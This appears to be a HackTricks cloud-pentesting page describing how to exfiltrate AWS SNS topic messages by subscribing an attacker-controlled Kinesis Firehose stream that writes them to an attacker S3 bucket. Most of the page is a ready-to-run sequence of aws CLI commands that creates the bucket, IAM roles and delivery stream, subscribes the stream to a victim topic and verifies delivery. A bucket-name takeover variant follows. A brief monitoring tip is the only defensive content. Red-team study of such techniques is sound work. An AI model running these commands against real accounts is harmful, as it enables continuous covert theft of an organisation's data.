Sponsored

AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks

Abuse the Firehose subscription protocol to register an attacker-controlled Kinesis Data Firehose delivery stream on a victim SNS standard topic. Once the subscription is in place and the required IAM role trusts sns.amazonaws.com, every future notification is durably written into the attackerโ€™s S3 bucket with minimal noise.

Requirements

  • Permissions in the attacker account to create an S3 bucket, Firehose delivery stream, and the IAM role used by Firehose (firehose:*, iam:CreateRole, iam:PutRolePolicy, s3:PutBucketPolicy, etc.).
  • The ability to sns:Subscribe to the victim topic (and optionally sns:SetSubscriptionAttributes if the subscription role ARN is provided after creation).
  • A topic policy that allows the attacker principal to subscribe (or the attacker already operates inside the same account).

Attack Steps (same-account example)

REGION=us-east-1
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
SUFFIX=$(date +%s)

# 1) Create attacker S3 bucket and Firehose delivery stream
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION

STREAM_NAME=ht-firehose-stream-$SUFFIX
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX

# Role Firehose assumes to write into the bucket
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
  "Version": "2012-10-17",
  "Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'

cat > /tmp/firehose-s3-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
JSON
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json

aws firehose create-delivery-stream \
  --delivery-stream-name "$STREAM_NAME" \
  --delivery-stream-type DirectPut \
  --s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
  --region $REGION >/dev/null

# 2) IAM role SNS assumes when delivering into Firehose
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
  "Version": "2012-10-17",
  "Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
}'

cat > /tmp/allow-firehose.json <<JSON
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
JSON
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json

SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME

# 3) Subscribe Firehose to the victim topic
TOPIC_ARN=<VICTIM_TOPIC_ARN>
aws sns subscribe \
  --topic-arn "$TOPIC_ARN" \
  --protocol firehose \
  --notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
  --attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
  --region $REGION

# 4) Publish test message and confirm arrival in S3
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
sleep 90
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive

Cleanup

  • Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket.

Impact

Potential Impact: Continuous, durable exfiltration of every message published to the targeted SNS topic into attacker-controlled storage with minimal operational footprint.

If an existing SNS -> Firehose -> S3 chain already writes to a bucket and the attacker can delete that bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration.

# Identify the Firehose S3 destination
aws firehose describe-delivery-stream \
  --delivery-stream-name <DELIVERY_STREAM_NAME> \
  --query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'

# After deleting the original bucket, recreate the same name in the attacker account
aws s3 mb s3://<BUCKET_NAME> --region <REGION>

Grant the Firehose delivery role access to the replacement bucket if the role can write cross-account. Monitor for bucket deletion on Firehose destinations, delivery failures, and unexpected bucket ownership changes.

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks